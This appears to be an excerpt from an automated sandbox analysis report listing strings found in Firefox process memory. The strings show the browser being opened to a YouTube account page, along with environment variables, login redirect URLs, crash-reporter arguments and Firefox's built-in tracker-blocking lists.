www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2166956297.0000027667450000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2587849657.000001F3EF2F0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2354149245.000001C757250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2208668139.0000020E12240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/account--attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 00000030.00000002.2354149245.000001C757250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\1000003002\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"Winsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2166956297.0000027667450000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"winsta0\default equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2208668139.0000020E12240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevationC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2587849657.000001F3EF2F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/accountC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 00000030.00000002.2354375210.000001C7575D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: CommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataedgePath=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exefirefoxPath=C:\Program Files\Mozilla Firefox\firefox.exeFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramFiles64=C:\Program FilesProgramFiles86=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user~1\AppData\Local\TempTMP=C:\Users\user~1\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows=rr equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2744297021.000001F3FF845000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: GET /InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AdF4I75Ohucts42xh2D58xcZPEZA3lazskj-CR4hUOGo3BNKvW_z5CkM9nA2-Dralbmz-v42E-PqUg HTTP/1.1 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Get to a Wikipedia page fast, from anywhere on the web. Just highlight any webpage text and right-click to open the context menu to start a Wikipedia search.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Get to a Wikipedia page fast, from anywhere on the web. Just highlight any webpage text and right-click to open the context menu to start a Wikipedia search.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Get to a Wikipedia page fast, from anywhere on the web. Just highlight any webpage text and right-click to open the context menu to start a Wikipedia search.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2181650607.0000027667472000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2143690714.000002766746D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Gg8p8https://www.youtube.com/account --attempting-deelevationUser equals www.youtube.com (Youtube)
Source: History.31.dr	String found in binary or memory: Khttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2771088874.000001F401D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Location: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AdF4I75Ohucts42xh2D58xcZPEZA3lazskj-CR4hUOGo3BNKvW_z5CkM9nA2-Dralbmz-v42E-PqUg equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2587849657.000001F3EF300000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2603369340.000001F3F0DF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000027.00000002.2533978892.0000021F9B19A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/account9 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountp equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: O^partitionKey=%28https%2Cgoogle.com%29,:https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en equals www.youtube.com (Youtube)
Source: firefox.exe, 00000027.00000002.2557836360.0000021F9B580000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: RY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\P equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.2557581882.0000020BC8710000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: RY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\PX@[9 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Show snippets on activity streamhttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Show snippets on activity streamhttps://www.youtube.com/accountsection.highlights.includePocketaboutConfigPipPrefs.onPrefChangefeeds.section.topstories.optionsZoomManager_setZoomForBrowserNEWTAB_POCKET_TOPICS_SURVEY_2 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2188686956.00000276676D0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2166956297.0000027667459000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2354375210.000001C7575D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: URL=https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2166956297.0000027667459000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: URL=https://www.youtube.com/accountIO equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2188686956.00000276676D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: URL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 00000030.00000002.2354149245.000001C757259000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: URL=https://www.youtube.com/accountn equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateServiceStub:migrateUpdateDirectory Failed to migrate uninstall resource://gre/modules/components-utils/FilterExpressions.sys.mjsCustomization target must be a direct child of an overflowable toolbar.submitPing - can't send ping now, persisting to disk - canSendNow: _shouldNotify - User not notified, notification already in progress.about:certerror?e=nssBadCert&u=https%3A//www.youtube.com/account&c=UTF-8&d=%20 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2523509088.000001F400E88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["www.facebook.com","facebook.com"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2523509088.000001F400E88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["www.youtube.com","youtube.com"] equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB659000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB659000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2738377059.000001F3FF2DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Fir equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2765179427.000001F40195E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2383402901.000001F4019F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: about:certerror?e=nssBadCert&u=https%3A//www.youtube.com/account&c=UTF-8&d=%20 equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr	String found in binary or memory: accounts.google.comwww.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: contextual.services.quicksuggestsuggestedIndexResultsByGroupfractionalDataArray is empty!maxHistoricalSearchSuggestionsisURLEquivalentToResultURLexperimental.hideHeuristic_addSuggestedIndexResults/<Dismissing weather resulteEditorEnableWrapHackMaskremoveDocumentStateListenerget _arrowNavigableWalker_createShowMoreSyncedTabsElementrecordSyncedTabsTelemetryensureUnloadHandlerRegistered.panel-header > h1 > span_transitionViews/viewRect<_getBoundsWithoutFlushinggWindowsWithUnloadHandlerEnsureFxAccountsWebChannelfocusFirstNavigableElementMIN_STATUS_ANIMATION_DURATION_createNoSyncedTabsElementeNewlinesReplaceWithSpacesappmenu-remote-tabs-showmorehttps://www.youtube.com/accountservices.sync.log.logger.browsertoolkit/branding/accounts.ftlsendTabConfiguredAndLoadingeNewlinesReplaceWithCommassRemoteTabsNextPageMinTabsget sendTabConfiguredAndLoadingshouldHideSendContextMenuItemsensureUnloadHandlerRegistered/<PanelUI-remotetabs-setupsyncappMenu-header-descriptionappmenu-fxa-sync-and-save-data2openPopup/openPopupPromise<identity.fxaccounts.enabled equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" 